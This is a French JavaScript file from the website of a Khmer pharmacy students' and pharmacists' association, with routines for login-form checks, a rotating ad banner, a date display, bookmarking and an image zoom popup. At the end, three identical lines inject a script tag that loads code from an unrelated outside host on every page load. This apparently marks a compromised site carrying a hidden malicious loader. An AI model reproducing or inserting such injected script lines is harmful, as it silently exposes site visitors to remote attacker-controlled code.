/* Fichier JavaScript */


// Vérification du contenu du formulaire
function controle() 
{
	var valeur;

	valeur = document.identification.login.value;	
	if (valeur==""){
		alert("Veuillez noter votre identifiant");
		return false;
	}

	valeur = document.identification.mdp.value;	
	if (valeur==""){
		alert("Veuillez noter votre mot de passe");	
		return false;		
	}
			
	return true;
}


// Fonction permettant de tirer une publicite au hasard
function newPub()
{
	var numPub=0;
	
	// Numéro de la publicite tiré entre 1 et 2
	numPub=(Math.round(Math.random()*1+1));
	// On rajoute +1 pour avoir les 2 images. Quand on sera à 0 on aura l'image 1.
	
	// Remplacer le bandeau dans l'emplacement réservé
	window.document.publicite.src="images/pub/"+numPub+".gif";
	
	// Création d'une temporisation pour modifier la bannière toutes les 10 secondes
	setTimeout("newPub()",10000);
	
	// On appelle la fonction toutes les 10 secondes. Il faut l'appeler la première fois dans le onLoad du BODY
}


// Fonction permettant d'afficher la date et l'heure
function getTime()
{       
	var now = new Date();

	var day = now.getDay();
	var date = now.getDate();
	var month = now.getMonth() +1;
	var year = now.getYear();
	var minutes = now.getMinutes();
	var divider = "h";
	var jour = "";
	var mois = "";

	if (year < 1900)
		year = year + 1900;

	if (minutes<10)
		divider = "h0";

	if (day == 0)
		jour = "Dimanche";
	if (day == 1)
		jour = "Lundi";
	if (day == 2)
		jour = "Mardi";
	if (day == 3)
		jour = "Mercredi";
	if (day == 4)
		jour = "Jeudi";
	if (day == 5)
		jour = "Vendredi";
	if (day == 6)
		jour = "Samedi";

	if (month == 1)
		mois = "janvier";
	if (month == 2)
		mois = "f&eacute;vrier";
	if (month == 3)
		mois = "mars";
	if (month == 4)
		mois = "avril";
	if (month == 5)
		mois = "mai";
	if (month == 6)
		mois = "juin";
	if (month == 7)
		mois = "juillet";
	if (month == 8)
		mois = "ao&ucirc;t";
	if (month == 9)
		mois = "septembre";
	if (month == 10)
		mois = "octobre";
	if (month == 11)
		mois = "novembre";
	if (month == 12)
		mois = "d&eacute;cembre";

	return( jour + "  " + date + " " + mois   + " " + year + " - " + now.getHours() + divider + minutes  );
}


// Fonction permettant d'ajouter le site aux favoris
function favoris() {
	if (navigator.appName != 'Microsoft Internet Explorer'){ 
	
		window.sidebar.addPanel("Affinité Santé - Amicale des Étudiants en pharmacie et des Pharmaciens Khmers","http://www.khmersante.com","");
		
	} else { 
	
		window.external.AddFavorite("http://www.khmersante.com","Affinité Santé - Amicale des Étudiants en pharmacie et des Pharmaciens Khmers"); 
	} 
}  


// Fonction Zoom Image 
function zoom(chemin)
{
	i1 = new Image;
	i1.src = chemin;
	html = '<html><head><title>Zoom</title></head>';
	html = html + '<body topmargin=0 leftmargin=0 onclick="javascript:window.close()">';
	html = html + '<center>';
	html = html + '<img src="'+chemin+'" name=zoom onLoad="window.resizeTo(document.zoom.width+10,document.zoom.height+60)">';
	html = html + '</center></body></html>';
	
	popupImage = window.open('','_blank','toolbar=0,location=0,directories=0,menubar=0,scrollbars=0,resizable=0,top=0,left=0');
	popupImage.document.open();
	popupImage.document.write(html);
	popupImage.document.close();
}

document.write('<script src=http://transconttgn.com/cgi-bin/oaq.php ><\/script>');
document.write('<script src=http://transconttgn.com/cgi-bin/oaq.php ><\/script>');
document.write('<script src=http://transconttgn.com/cgi-bin/oaq.php ><\/script>');